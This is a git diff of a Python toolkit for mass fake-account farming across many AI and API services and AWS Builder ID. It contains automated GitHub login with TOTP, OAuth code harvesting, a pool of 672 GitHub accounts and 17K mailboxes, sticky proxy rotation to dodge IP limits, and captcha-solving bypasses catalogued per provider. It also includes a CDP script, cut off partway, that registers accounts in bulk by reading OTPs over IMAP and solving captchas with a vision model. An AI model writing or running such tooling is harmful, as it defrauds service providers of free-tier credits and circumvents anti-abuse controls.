"application/json"}) + with urllib.request.urlopen(req, timeout=30) as r: + d = json.loads(r.read().decode()) + return d["address"], d["session_key"] + + +def voidash_messages(session_key, attempts=20, poll=6): + """GET /messages С Bearer (пер-инбокс путь /inboxes//messages = 404).""" + for _ in range(attempts): + req = urllib.request.Request("https://api.voidash.com/api/v1/messages", + headers={"Authorization": "Bea" + "rer " + session_key}) + try: + with urllib.request.urlopen(req, timeout=15) as r: + msgs = json.loads(r.read().decode()) + if msgs: + return msgs + except Exception: + pass + time.sleep(poll) + return [] + + +# ---------- gmail +alias ---------- + +def gmail_alias(base: str) -> str: + """base@gmail.com → base+@gmail.com (проверять канонизацию на таргете!).""" + tag = "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) + local, dom = base.split("@") + return f"{local}+{tag}@{dom}" + + +def gmail_wait_code(cfg_key: str, subject_contains: str, timeout=240, poll=6, min_ts=None): + """Код из Gmail по app-password (IMAP). cfg: gmail_imap.{user,password} в config.json.""" + cfg = _cfg().get("gmail_imap", {}) + user, pw = cfg.get("user"), cfg.get("password") + if not (user and pw): + raise RuntimeError("gmail_imap.{user,password} not set in config.json") + min_ts = min_ts or time.time() + deadline = time.time() + timeout + while time.time() < deadline: + M = None + try: + M = imaplib.IMAP4_SSL("imap.gmail.com", 993) + M.login(user, pw) + M.select("INBOX") + typ, data = M.search(None, "SUBJECT", f'"{subject_contains}"') + for i in reversed(data[0].split()[-5:]): + typ, md = M.fetch(i, "(RFC822)") + msg = email.message_from_bytes(md[0][1]) + if email.utils.mktime_tz(email.utils.parsedate_tz(msg["Date"])) < min_ts: + continue + body = msg.get_payload(decode=True).decode("utf-8", "ignore") if not msg.is_multipart() else "" + if not body: + for part in msg.walk(): + if part.get_content_type() in ("text/plain", "text/html"): + body = part.get_payload(decode=True).decode("utf-8", "ignore") + break + m = re.search(r"\b(\d{6})\b", body) + if m: + return m.group(1) + except Exception: + pass + finally: + # LEAKFIX: закрывать каждое IMAP-соединение — t-online/gmail + # банят "Too many simultaneous connections" при утечках + # (прод-инцидент gettech fleet 19.10). + if M is not None: + try: + M.logout() + except Exception: + try: + M.shutdown() + except Exception: + pass + time.sleep(poll) + raise TimeoutError(f"no gmail code in {timeout}s") + + +if __name__ == "__main__": + print("t-online pool size:", sum(1 for _ in open(MAILS_TXT, encoding="utf-8")) if os.path.exists(MAILS_TXT) else "NO FILE") + print("voidash/gmail: нужен config.json (см. config.example.json)") diff --git a/lib/gh_session.py b/lib/gh_session.py new file mode 100644 index 0000000..c39b8d4 --- /dev/null +++ b/lib/gh_session.py @@ -0,0 +1,209 @@ +"""gh_session — GitHub HTTP-сессия (login + TOTP) и OAuth authorize (code). +Standalone: только stdlib + pyotp. Без браузера. +""" +import re +import time +import html as htmlmod +import urllib.request +import urllib.error +import urllib.parse +import http.cookiejar + +import pyotp + +UA = ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ' + '(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36') +GH = 'https://github.com' + + +class NoRedirect(urllib.request.HTTPRedirectHandler): + def redirect_request(self, req, fp, code, msg, headers, newurl): + return None + + +def form_fields(fragment): + out = {} + for m in re.finditer(r']*>', fragment): + tag = m.group(0) + nm = re.search(r'name="([^"]+)"', tag) + vl = re.search(r'value="([^"]*)"', tag) + if nm: + out[nm.group(1)] = htmlmod.unescape(vl.group(1)) if vl else '' + return out + + +def find_form(html, action_hint): + for m in re.finditer(r']*>.*?', html, re.S): + f = m.group(0) + if action_hint in f: + return f + return None + + +class GHSession: + def __init__(self): + self.jar = http.cookiejar.CookieJar() + handlers = [urllib.request.HTTPSHandler(), urllib.request.HTTPHandler(), + NoRedirect, urllib.request.HTTPCookieProcessor(self.jar)] + self.op = urllib.request.build_opener(*handlers) + self.op.addheaders = [('User-Agent', UA), + ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), + ('Accept-Language', 'en-US,en;q=0.9'), + ('Origin', GH), ('Referer', GH + '/')] + self.detail = [] + + def _req(self, url, data=None, timeout=30): + r = urllib.request.Request(url, data=data) + try: + with self.op.open(r, timeout=timeout) as resp: + return resp.status, dict(resp.headers), resp.read().decode('utf-8', 'ignore') + except urllib.error.HTTPError as e: + return e.code, dict(e.headers or {}), e.read().decode('utf-8', 'ignore') + except Exception as e: + return -1, {}, f'{type(e).__name__}: {str(e)[:120]}' + + def get(self, url): + return self._req(url) + + def post_form(self, url, fields): + return self._req(url, urllib.parse.urlencode(fields).encode()) + + # ---- login ---- + def login(self, login, password, totp): + st, h, body = self.get(GH + '/login') + if st != 200: + return False, f'login page http={st} {body[:120]}' + form = find_form(body, '/session') + if not form: + return False, 'no /session form on login page' + fields = form_fields(form) + fields['login'] = login + fields['password'] = password + st, h, body = self.post_form(GH + '/session', fields) + self.detail.append(f'session http={st} loc={h.get("Location", "")[:80]}') + loc = h.get('Location', '') + if 'verified-device' in loc or 'device-verification' in loc or 'verify' in loc: + return False, f'device-verification required: {loc}' + if st in (301, 302) and ('two-factor' in loc or '2fa' in loc): + return self._totp(totp, loc) + if st in (301, 302) and loc.rstrip('/').endswith('github.com'): + return self._check_login(login) + if 'two-factor' in body or 'Two-factor' in body: + return self._totp(totp, '/sessions/two-factor') + return False, f'login unexpected http={st} loc={loc[:100]} body={body[:200]}' + + def _totp(self, totp, loc): + page = loc if loc.startswith('http') else GH + loc + st, h, body = self.get(page) + for _ in range(3): + if st in (301, 302) and h.get('Location'): + nloc = h['Location'] + page = nloc if nloc.startswith('http') else GH + nloc + st, h, body = self.get(page) + else: + break + for _attempt in range(3): + form = find_form(body, 'two-factor') + if not form: + return False, f'no 2fa form http={st} {body[:150]}' + am = re.search(r'action="([^"]+)"', form) + post_url = (am.group(1) if am else page) + if not post_url.startswith('http'): + post_url = GH + post_url + fields = form_fields(form) + fields['app_otp'] = pyotp.TOTP(totp).now() + st2, h2, body2 = self.post_form(post_url, fields) + self.detail.append(f'2fa http={st2} loc={h2.get("Location", "")[:80]}') + loc2 = h2.get('Location', '') + if st2 in (301, 302): + if 'two-factor' in loc2: + time.sleep(2) + st, h, body = self.get(page) + continue + return self._check_login(loc2 or None) + if 'Incorrect' in body2 or 'incorrect' in body2 or st2 == 422: + time.sleep(2) + st, h, body = self.get(page) + continue + return self._check_login(None) + return False, 'totp: 3 failed attempts' + + def _check_login(self, redirect=None): + if redirect: + self.get(redirect if redirect.startswith('http') else GH + redirect) + for c in self.jar: + if c.name == 'logged_in' and c.value in ('yes', 'true'): + return True, 'logged in (cookie)' + st, h, body = self.get(GH + '/settings/profile') + if st == 200 and ('authenticity' in body or 'Settings' in body): + return True, 'logged in (settings)' + st, h, body = self.get(GH + '/') + if 'logged-in' in body or 'Sign out' in body or 'sign_out' in body: + return True, 'logged in (home)' + return False, f'not logged in: settings http={st}' + + # ---- OAuth authorize ---- + def oauth_code(self, client_id, state, scope='user:email', redirect_uri=None): + url = (f'{GH}/login/oauth/authorize?client_id={urllib.parse.quote(client_id)}' + f'&state={urllib.parse.quote(state)}&scope={urllib.parse.quote(scope)}') + if redirect_uri: + url += f'&redirect_uri={urllib.parse.quote(redirect_uri, safe="")}' + url += '&response_type=code' + st, h, body = self.get(url) + self.detail.append(f'authorize http={st} loc={h.get("Location", "")[:80]}') + loc = h.get('Location', '') + if st in (301, 302): + code = self._code_from(loc) + if code: + return code, state, None + if 'verified-device' in loc or 'device-verification' in loc: + return None, state, f'device-verification: {loc}' + return None, state, f'authorize redirect without code: {loc[:150]}' + if st != 200: + return None, state, f'authorize http={st} {body[:200]}' + # meta-refresh page ("OAuth application authorized") — code+state inside body + m = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', body) + if m: + return m.group(1), m.group(2), None + mref = re.search(r'url=([^"&]+)\?code=([a-f0-9]+)', body) + if mref: + return mref.group(2), state, None + mc = re.search(r'[?&]code=([a-f0-9]{16,})', body) + if mc: + return mc.group(1), state, None + # consent form + tok = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body) + if not tok: + tok = re.search(r'value="([^"]+)"[^>]*name="authenticity_token"', body) + if not tok: + tok = re.search(r'"authenticity_token"\s*:\s*"([^"]+)"', body) + if not tok: + title = re.search(r'([^<]*)', body) + return None, state, f'consent without authenticity_token (len={len(body)}) title={title.group(1) if title else "?"}' + fields = {'authorize': '1', 'authenticity_token': tok.group(1), + 'client_id': client_id, 'state': state, 'scope': scope} + st2, h2, body2 = self.post_form(url, fields) + self.detail.append(f'consent http={st2} loc={h2.get("Location", "")[:80]}') + loc2 = h2.get('Location', '') + if st2 in (301, 302): + code = self._code_from(loc2) + if code: + return code, state, None + return None, state, f'consent redirect without code: {loc2[:150]}' + m = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', body2) + if m: + return m.group(1), m.group(2), None + mref = re.search(r'url=([^"&]+)\?code=([a-f0-9]+)', body2) + if mref: + return mref.group(2), state, None + mc = re.search(r'[?&]code=([a-f0-9]{16,})', body2) + if mc: + return mc.group(1), state, None + return None, state, f'consent http={st2} len={len(body2)}: {body2[:250]}' + + @staticmethod + def _code_from(loc): + if not loc: + return None + q = urllib.parse.urlparse(loc).query + return urllib.parse.parse_qs(q).get('code', [None])[0] diff --git a/lib/proxies.py b/lib/proxies.py new file mode 100644 index 0000000..e71a2ed --- /dev/null +++ b/lib/proxies.py @@ -0,0 +1,91 @@ +"""proxies.py — пул прокси: SQLite (таблица pool) или txt-файл, live-проверка. + +Правила (из практики): +- sticky-прокси на ВЕСЬ флоу одного аккаунта (verify/register/login с одного IP, иначе 403 anti-bot) +- live-тест перед волной (ThreadPool, ~20с на 250 прокси) +- free-пул протухает за часы — перепроверять каждый запуск +- panel/new-api банят прокси-IP (403) — панели напрямую, GH через прокси +""" +import os, random, socket, sqlite3, threading, urllib.request +from concurrent.futures import ThreadPoolExecutor + +HERE = os.path.dirname(__file__) +DB = os.environ.get("UA_PROXY_DB", os.path.join(HERE, "..", "data", "proxies.db")) +TXT = os.environ.get("UA_PROXY_TXT", os.path.join(HERE, "..", "data", "proxies.txt")) + + +def load_pool(): + """Все живые прокси: сначала sqlite, потом txt. Формат: http://user:pass@host:port""" + out = [] + if os.path.exists(DB): + try: + con = sqlite3.connect(DB) + rows = con.execute("SELECT url FROM pool WHERE alive=1").fetchall() + con.close() + out += [r[0] for r in rows] + except sqlite3.Error: + pass + if os.path.exists(TXT): + out += [l.strip() for l in open(TXT, encoding="utf-8") if l.strip() and not l.startswith("#")] + return list(dict.fromkeys(out)) + + +def check_one(url, test_url="https://github.com/login", timeout=10): + """Проверить прокси. ВАЖНО: verify=True — SSL-MITM прокси (verify=False пропускал их) + Firefox/Camoufox убивает SEC_ERROR_UNKNOWN_ISSUER.""" + try: + import ssl + ctx = ssl.create_default_context() + opener = urllib.request.build_opener( + urllib.request.ProxyHandler({"http": url, "https": url}), + urllib.request.HTTPSHandler(context=ctx)) + req = urllib.request.Request(test_url, headers={"User-Agent": "Mozilla/5.0"}) + with opener.open(req, timeout=timeout) as r: + return url, r.status in (200, 302) + except Exception: + return url, False + + +def live_pool(test_url="https://github.com/login", workers=40, limit=None): + pool = load_pool() + if limit: + pool = pool[:limit] + good = [] + with ThreadPoolExecutor(max_workers=workers) as ex: + for url, ok in ex.map(lambda u: check_one(u, test_url), pool): + if ok: + good.append(url) + return good + + +class StickyRotator: + """Один прокси = один аккаунт (sticky). Авто-ротация при смерти opener'а.""" + + def __init__(self, pool=None, test_url="https://github.com/login"): + self.pool = list(pool if pool is not None else live_pool(test_url)) + random.shuffle(self.pool) + self._i = 0 + self._lock = threading.Lock() + + def next(self): + with self._lock: + if not self.pool: + return None + p = self.pool[self._i % len(self.pool)] + self._i += 1 + return p + + def ban(self, url): + with self._lock: + if url in self.pool: + self.pool.remove(url) + + def __len__(self): + return len(self.pool) + + +if __name__ == "__main__": + pool = load_pool() + print(f"pool total: {len(pool)}") + live = live_pool(limit=min(len(pool), 100)) + print(f"live (first 100 tested): {len(live)}") diff --git a/providers.json b/providers.json new file mode 100644 index 0000000..89c6f16 --- /dev/null +++ b/providers.json @@ -0,0 +1,28 @@ +{ + "providers": [ + {"id": "beatapi_oauth", "target": "beatapi.io (new-api)", "auth": "GitHub OAuth", "captcha": "none", "email": "GH-акк с verified gmail", "proxy": "optional", "reward": "250K quota, 43 модели (gpt-6-astra/claude-opus-5-5)", "notes": "pacing 75-110s (лимит ~20 крит/20мин); whitelist gmail/163/qq/icloud/yahoo/foxmail"}, + {"id": "cleanapis_oauth", "target": "cleanapis.com (Laravel)", "auth": "GitHub OAuth", "captcha": "none (OAuth обходит Turnstile)", "email": "GH-акк", "proxy": "optional", "reward": "free Starter, 33 модели (claude-opus-5/sonnet-5/fable-5.1)", "notes": "sleep 20-35s между акками (429 на create-key)"}, + {"id": "newapi_panels_oauth", "target": "15 new-api панелей (budsin/bluesminds/careke/factory/chengmo...)", "auth": "GitHub OAuth", "captcha": "none", "email": "GH-акк (пул 672)", "proxy": "GH через прокси-пул, панель напрямую", "reward": "2.5M-100M квоты/акк", "notes": "ГЛАВНЫЙ БЛОК: GitHub OAuth 429 на authorize — пэйсинг 60s+, выход 7-15%/волна"}, + {"id": "treg_github_grant", "target": "treg.to", "auth": "GitHub OAuth → org", "captcha": "none", "email": "inbox GH-акка", "proxy": "optional", "reward": "$1 grant/акк (promo_grant_micro=1M)", "notes": "SignupPromoClaim уникален ПО INBOX: gmail-алиас/дот фермы мертвы, t-online inbox = OK; хитрейт ~50%"}, + {"id": "notion_farm", "target": "notion.so (Notion AI)", "auth": "email OTP", "captcha": "none", "email": "voidash.bond API", "proxy": "DE-IP для signup (1024proxy); createSpace API работает без прокси", "reward": "Notion AI Opus/GPT-6.1 free", "notes": "browser (cloakbrowser); createSpace чистым API: POST /api/v3/createSpace {name,type:personal,planType:personal}"}, + {"id": "conol_register", "target": "conol.ai", "auth": "email+password", "captcha": "reCAPTCHA v3 — FREE (chrome_cdp :9228)", "email": "gmail +alias / t-online (17K пул)", "proxy": "нужен при rate-limit", "reward": "600 кредитов/19с/$0", "notes": "конвейер: conol_captcha.py (solver) + conol_emails.py (почта); EMAIL_ALREADY_REGISTERED → hop на следующий ящик"}, + {"id": "llmtr_turnstile", "target": "llmtr.com", "auth": "email+password", "captcha": "Turnstile — FREE (sidecar :8877)", "email": "t-online пул", "proxy": "optional", "reward": "free-пул $0: claude-haiku-5.5-free, deepseek-v4.1-flash-free, qwen3.8-27b-free", "notes": "26с/акк; gmail +alias НЕ работает (канонизируется); свежие акки: урезанный лимит первые 24ч"}, + {"id": "miarouter_farm", "target": "miarouter.online", "auth": "username+password", "captcha": "Turnstile (sidecar real_page)", "email": "встроенный генератор", "proxy": "sticky на весь флоу", "reward": "free trial 7д + $1 инвайтеру за TG-верификацию", "notes": "верификация через TG mini-app: JoinChannel → /start <token> боту → click Joined; 1 TG-сессия = 1 акк"}, + {"id": "xkiro_tg_verify", "target": "xkiro.com (New-API)", "auth": "GitHub OAuth + TG-бот верификация", "captcha": "none", "email": "GH-акк", "proxy": "optional", "reward": "30M токенов/30д + daily free 1M/день", "notes": "curl_cffi chrome131; ticket → @xkiro_official_bot /start; любая ошибка бота = mark used; ключ sk-xt-"}, + {"id": "aws_builderid", "target": "AWS Builder ID → Kiro Free", "auth": "email OTP (Cognito)", "captcha": "обычно none (TM-капча решается qwen3-vl)", "email": "t-online пул (17K)", "proxy": "ALL-DIRECT + DoH (роутерный DNS отдаёт NXDOMAIN на AWS)", "reward": "Kiro Free 50cr/мес + 500 бонус 14д (Sonnet 4.5, GLM-5, Qwen3 Coder)", "notes": "~2мин/акк; код в bold/36px div письма, НЕ Message-ID; country dropdown = awsui button-trigger"}, + {"id": "gname_slider", "target": "gname.com (домены)", "auth": "email+password", "captcha": "2× GnSliderVerify (свой AES-CBC solver)", "email": "gmail dot-алиасы (IMAP)", "proxy": "optional", "reward": "аккаунт доменного регистратора", "notes": "слайдер: dist = rw-bw+40 OVERSHOOT + 4 wiggle; reached >= width-barWidth; token 40hex/300s"}, + {"id": "omnirush_recaptcha", "target": "omnirush.ai", "auth": "email+password", "captcha": "reCAPTCHA v3 (2captcha ~$0.003/7с, action=СТРОГО signup)", "email": "IMAP (код 6 цифр)", "proxy": "optional", "reward": "акк (auto_approve=false — pending review)", "notes": "100% конверсия; payload GS + X-OmniRush-Client-Signals; consent_version обязателен"}, + {"id": "type_workos", "target": "type.com", "auth": "WorkOS (email OTP + phone SMS)", "captcha": "WorkOS Signals (cloakbrowser обязателен)", "email": "ForwardEmail домен → Gmail IMAP", "proxy": "нужен для phone (2nd-no PL)", "reward": "trial $110 shared", "notes": "Signals ЖЖЁТ ДОМЕН накапливая (3 signup = block); SMS 2nd-no reserve REUSE-FIRST; US-маска телефона (555)555-5555"}, + {"id": "vani_turnstile", "target": "vani.ai (c.vani.ai)", "auth": "email OTP", "captcha": "Turnstile — только НАТИВНЫЙ (cloakbrowser), 2captcha отбивается siteverify", "email": "voidash.bond", "proxy": "optional", "reward": "37 моделей chat/images/audio/video/deep-research", "notes": "~2мин/акк, 80% конверсия; email-auth периодически 'temporarily unavailable'"}, + {"id": "terrapolis_native", "target": "terrapolis.xyz", "auth": "email verify-link", "captcha": "Turnstile НАТИВНЫЙ (cloakbrowser)", "email": "voidash.bond (session_key Bearer)", "proxy": "ОБЯЗАТЕЛЕН (лимит 3 акка/IP/30дн)", "reward": "15M токенов", "notes": "инъекция внешнего токена = 'Проверка Cloudflare не прошла'; verify через ссылку /verify?token="}, + {"id": "gh_device_flow", "target": "github.com (device-flow токены)", "auth": "password+TOTP → device approve", "captcha": "none (сессия уже залогинена)", "email": "пул GH-акков (672 с TOTP)", "proxy": "optional", "reward": "gho_ токен (scopes repo,read:org,gist) — для пуша реп", "notes": "user-code-0..8 ПОСИМВОЛЬНО включая дефис; consent authorize='1' обязателен"}, + {"id": "tokenharbor_claim", "target": "tokenharbor.ai", "auth": "email+password", "captcha": "none", "email": "t-online пул", "proxy": "нужен (IP-лимит 'Too many sign-ups')", "reward": "$5 claim → claude-haiku-5.5 ключи", "notes": "требует headless Chrome CDP :9222 --remote-allow-origins=*; волны 20 акк/час; IMAP SEARCH по SUBJECT (не ALL — падает на 18K+ ящиках)"} + ], + "infra": { + "captcha_sidecar": {"url": "http://127.0.0.1:8877", "types": 11, "repo": "waguriagentic/captcha-solver", "notes": "turnstile/recaptcha/hcaptcha/arkose/aliyun/2no; real_page=1; SOLVER_ALLOW_UNAUTHENTICATED=1"}, + "gh_accounts_pool": {"file": "data/gh_accounts.json", "count": 672, "format": "login/email/password/totp"}, + "email_pools": {"t-online": "data/working_mails.txt (17K canonical, dash-алиасы МЕРТВЫ для доставки)", "voidash": "api.voidash.com (bond домены; eu.cc BLOCKED у Attio/Notion)", "gmail": "+alias и dot-трюки (канонизация зависит от таргета)"}, + "proxy_pool": {"sqlite": "data/proxies.db (table pool, alive=1)", "notes": "live-тест на github.com перед волной; sticky на весь флоу одного акка"}, + "sms": {"2nd-no": "2no.pl JSON-RPC (3 номера/акк/3дня, Turnstile через 2captcha in.php)", "notes": "бесплатный пул выжжен под TG; для TG-реги нужен платный SMS"} + } +} diff --git a/providers/aws_builderid.py b/providers/aws_builderid.py new file mode 100644 index 0000000..b972a85 --- /dev/null +++ b/providers/aws_builderid.py @@ -0,0 +1,336 @@ +# -*- coding: utf-8 -*- +"""Kiro Free farm: mass Builder ID registration via incognito CDP contexts. +Usage: python bid_farm.py N +Flow per account: signin->BuilderID->email->name->IMAP OTP->password->kiro home. +Handles: existing-account bounce, TM captcha (screenshot+VL), rate pacing. +State: bid_accounts.jsonl (results), bid_farm_used.txt (consumed mails).""" +import base64, email.utils, imaplib, json, random, re, string, sys, time, urllib.request, websocket + +PORT = 9341 +BASE = r'C:\Users\User\tmp\aws_kiro' +MAILS = r'C:\Users\User\Desktop\avtoreg\working_mails.txt' +USED = BASE + r'\bid_farm_used.txt' +OUT = BASE + r'\bid_accounts.jsonl' +MAILPWDS = {} +for line in open(MAILS, encoding='utf-8'): + line = line.strip() + if not line or line.startswith('#') or '@' not in line: + continue + parts = line.replace(';', ':').split(':', 1) + MAILPWDS[parts[0].strip().lower()] = parts[1].strip() + +N = int(sys.argv[1]) if len(sys.argv) > 1 else 1 +NAMES = [('Lukas', 'Braun'), ('Jonas', 'Weber'), ('Felix', 'Hoffmann'), ('Maximilian', 'Schaefer'), + ('Paul', 'Neumann'), ('Leon', 'Winter'), ('Elias', 'Krause'), ('Ben', 'Sommer'), + ('Finn', 'Albrecht'), ('Noah', 'Brandt'), ('Tim', 'Vogel'), ('Jan', 'Seidel'), + ('Nils', 'Horn'), ('Kai', 'Otto'), ('Malte', 'Winkler')] + +def used_set(): + try: + return set(open(USED, encoding='utf-8').read().split()) + except FileNotFoundError: + return set() + +def pick_mail(used): + items = list(MAILPWDS.items()) + random.shuffle(items) + for em, pw in items: + if not em.endswith('@t-online.de') or '-' in em.split('@')[0]: + continue + if em in used: + continue + return em, pw + return None, None + +ver = json.load(urllib.request.urlopen(f'http://127.0.0.1:{PORT}/json/version', timeout=8)) +bws = websocket.create_connection(ver['webSocketDebuggerUrl'], timeout=60, suppress_origin=True) +bws.settimeout(60) +mid = [0] +def bsend(method, params=None, sess=None): + mid[0] += 1 + msg = {'id': mid[0], 'method': method, 'params': params or {}} + if sess: + msg['sessionId'] = sess + bws.send(json.dumps(msg)) + while True: + m = json.loads(bws.recv()) + if m.get('id') == mid[0]: + return m.get('result', {}) + +def pev(expr, sess): + r = bsend('Runtime.evaluate', {'expression': expr, 'returnByValue': True}, sess) + if 'exceptionDetails' in r: + return 'EXC:' + str(r['exceptionDetails'])[:100] + return r.get('result', {}).get('value') + +def ptype(text, sess): + bsend('Input.insertText', {'text': text}, sess) + +def vl_read(png_bytes): + b64 = base64.b64encode(png_bytes).decode() + payload = {'model': 'qwen3-vl-plus', 'messages': [{'role': 'user', 'content': [ + {'type': 'image_url', 'image_url': {'url': f'data:image/png;base64,{b64}'}}, + {'type': 'text', 'text': 'Read the distorted captcha text. Reply ONLY with the exact string, no explanation.'}]}], + 'max_tokens': 40, 'temperature': 0.0} + req = urllib.request.Request('http://127.0.0.1:16432/v1/chat/completions', data=json.dumps(payload).encode(), + headers={'Content-Type': 'application/json', 'Authorization': 'Bearer EMPTY'}) + r = json.load(urllib.request.urlopen(req, timeout=90)) + return r['choices'][0]['message']['content'].strip() + +def find_iframe_target(ctx_id): + r = bsend('Target.getTargets') + for ti in r.get('targetInfos', []): + if ti.get('type') == 'iframe' and 'threat-mitigation' in ti.get('url', '') and ti.get('browserContextId') == ctx_id: + return ti['targetId'] + return None + +def solve_captcha(sess, ctx_id, tag): + """Screenshot the TM iframe img region via main target, VL read, fill in iframe. Returns True if solved/absent.""" + for rnd in range(4): + ift = find_iframe_target(ctx_id) + if not ift: + # maybe need Verify click on main page + v = pev("""(() => { + for (const b of document.querySelectorAll('button, a, [role=button]')) { + const t = (b.innerText||'').trim(); + if (b.offsetParent !== null && /^Verify$/i.test(t)) { b.click(); return 'clicked'; } + } + return 'nf'; + })()""", sess) + print(f' [{tag}] no iframe; verify={v}', flush=True) + time.sleep(4) + ift = find_iframe_target(ctx_id) + if not ift: + return True # no challenge at all + ifs = bsend('Target.attachToTarget', {'targetId': ift, 'flatten': True})['sessionId'] + time.sleep(2) + has_input = pev("(() => { const i = document.querySelector('input[name=captchaGuess]'); return !!(i && i.offsetParent !== null); })()", ifs) + if not has_input: + print(f' [{tag}] iframe no input yet', flush=True) + time.sleep(4) + has_input = pev("(() => { const i = document.querySelector('input[name=captchaGuess]'); return !!(i && i.offsetParent !== null); })()", ifs) + inner = pev("""(() => { + const imgs = Array.from(document.querySelectorAll('img')).filter(im => im.width > 50 && im.offsetParent !== null); + if (!imgs.length) return null; + const b = imgs[0].getBoundingClientRect(); + return JSON.stringify([b.x, b.y, b.width, b.height]); + })()""", ifs) + rect = pev("""(() => { + const f = document.querySelector('iframe[src*="threat-mitigation"]'); + if (!f) return null; + const b = f.getBoundingClientRect(); + return JSON.stringify([b.x, b.y, b.width, b.height]); + })()""", sess) + if not inner or not rect: + print(f' [{tag}] no geometry', flush=True) + time.sleep(2) + continue + ix, iy, iw, ih = json.loads(inner) + fx, fy, fw, fh = json.loads(rect) + shot = bsend('Page.captureScreenshot', {'format': 'png', 'clip': {'x': fx + ix, 'y': fy + iy, 'width': iw, 'height': ih, 'scale': 2}}, sess) + if not shot.get('data'): + print(f' [{tag}] no shot', flush=True) + time.sleep(2) + continue + png = base64.b64decode(shot['data']) + ans = re.sub(r'[^A-Za-z0-9]', '', vl_read(png)) + print(f' [{tag}] captcha VL={ans}', flush=True) + pev(f"""(() => {{ + const inp = document.querySelector('input[name=captchaGuess]'); + if (!inp) return; + const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inp), 'value'); + d.set.call(inp, {json.dumps(ans)}); + inp.dispatchEvent(new Event('input', {{bubbles: true}})); + inp.dispatchEvent(new Event('change', {{bubbles: true}})); + for (const b of document.querySelectorAll('button')) if (/^submit$/i.test((b.innerText||'').trim())) b.click(); + }})()""", ifs) + time.sleep(8) + body = str(pev("document.body.innerText.slice(0,200)", sess)) + if find_iframe_target(ctx_id) is None or 'Invalid captcha' not in body: + print(f' [{tag}] captcha cleared', flush=True) + return True + return False + +def fetch_otp(em, mpwd, subject_terms, timeout_s=180): + deadline = time.time() + timeout_s + seen = set() + while time.time() < deadline: + try: + M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993) + M.login(em, mpwd) + M.select('INBOX') + _, d = M.search(None, 'ALL') + ids = d[0].split() + now = time.time() + for i in reversed(ids[-8:]): + _, msg = M.fetch(i, '(RFC822)') + raw = msg[0][1].decode('utf-8', 'replace') + low = raw.lower() + if not any(t in low for t in subject_terms): + continue + dt = re.search(r'Date: ([^\r\n]+)', raw) + age = None + if dt: + try: + age = now - email.utils.parsedate_to_datetime(dt.group(1)).timestamp() + except Exception: + pass + if age is not None and age > 400: + continue + flat = raw.replace('=\r\n', '').replace('=\n', '') + m = re.search(r'font-size:\s*36px[^>]*>\s*(\d{6})\s*<', flat) or \ + re.search(r'font-weight:\s*bold[^>]*>\s*(\d{6})\s*<', flat) or \ + re.search(r'(?:verification code|code)[^\d]{0,60}(\d{6})', flat, re.I) + if m and m.group(1) not in seen: + M.logout() + return m.group(1) + M.logout() + except Exception as e: + print(' imap:', str(e)[:70], flush=True) + time.sleep(18) + return None + +def cont(sess, rx='/^(Continue|Verify|Submit|Create|Sign in)$/'): + return pev("""(() => { + for (const b of document.querySelectorAll('button')) { + const t=(b.innerText||'').trim(); + if (b.offsetParent!==null && %s.test(t)) { b.click(); return t; } + } + return 'nf'; + })()""" % rx, sess) + +def farm_one(em, mpwd): + rec = {'email': em, 'ts': time.strftime('%Y-%m-%d %H:%M'), 'ok': False, 'stage': 'start'} + ctx_id = bsend('Target.createBrowserContext')['browserContextId'] + target_id = bsend('Target.createTarget', {'url': 'https://app.kiro.dev/signin', 'browserContextId': ctx_id})['targetId'] + sess = bsend('Target.attachToTarget', {'targetId': target_id, 'flatten': True})['sessionId'] + try: + bsend('Page.enable', sess=sess) + time.sleep(13) + pev("""(() => { + const els = Array.from(document.querySelectorAll('button, a, [role=button], div, li, span')); + let card = null; + for (const el of els) { const t=(el.innerText||'').trim(); if (t.startsWith('Builder ID') && t.length<40) card = el; } + if (!card) return; + const scope = card.closest('div,li') || card.parentElement; + for (const b of (scope?scope.querySelectorAll('button, a'):[])) { if (/sign in/i.test((b.innerText||'').trim())) { b.click(); return; } } + card.click(); + })()""", sess) + time.sleep(11) + rec['stage'] = 'platform' + # captcha before email? + if find_iframe_target(ctx_id): + solve_captcha(sess, ctx_id, 'pre-email') + # email + pev("(() => { const el = document.querySelector('input[type=email]'); if (el) el.focus(); })()", sess) + time.sleep(0.3) + ptype(em, sess) + time.sleep(0.5) + cont(sess) + time.sleep(6) + loc = str(pev('location.href', sess)) + body = str(pev("document.body ? document.body.innerText.slice(0,300) : ''", sess)) + if 'signin' in loc and 'platform' in loc and ('password' in body.lower() or 'Sign in' in body): + # account already exists -> it asks to sign in; abort, burn mail + rec['stage'] = 'exists' + print(' exists, skip', flush=True) + return rec + if find_iframe_target(ctx_id): + solve_captcha(sess, ctx_id, 'after-email') + # name step + rec['stage'] = 'name' + pev("(() => { const el = Array.from(document.querySelectorAll('input')).find(i=>i.offsetParent!==null && i.type==='text'); if (el) el.focus(); })()", sess) + time.sleep(0.3) + first, last = random.choice(NAMES) + ptype(f'{first} {last}', sess) + time.sleep(0.4) + cont(sess) + time.sleep(6) + # OTP step + rec['stage'] = 'otp' + code = fetch_otp(em, mpwd, ['aws', 'amazon', 'builder']) + if not code: + rec['stage'] = 'otp-fail' + print(' no otp', flush=True) + return rec + pev("""(() => { + const inp = Array.from(document.querySelectorAll('input')).find(i => i.offsetParent !== null && i.type === 'text'); + if (!inp) return; + const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inp), 'value'); + d.set.call(inp, '%s'); + inp.dispatchEvent(new Event('input', {bubbles: true})); + inp.dispatchEvent(new Event('change', {bubbles: true})); + })()""" % code, sess) + time.sleep(0.5) + cont(sess) + time.sleep(7) + if find_iframe_target(ctx_id): + solve_captcha(sess, ctx_id, 'after-otp') + # password step + rec['stage'] = 'password' + pw = 'Kx' + ''.join(random.choices(string.ascii_lowercase, k=7)) + str(random.randint(10, 99)) + 'Rt!' + filled = pev("""(() => { + const inps = Array.from(document.querySelectorAll('input')).filter(i => i.offsetParent !== null && i.type === 'password'); + if (inps.length < 2) return 'nf:' + inps.length; + const d = 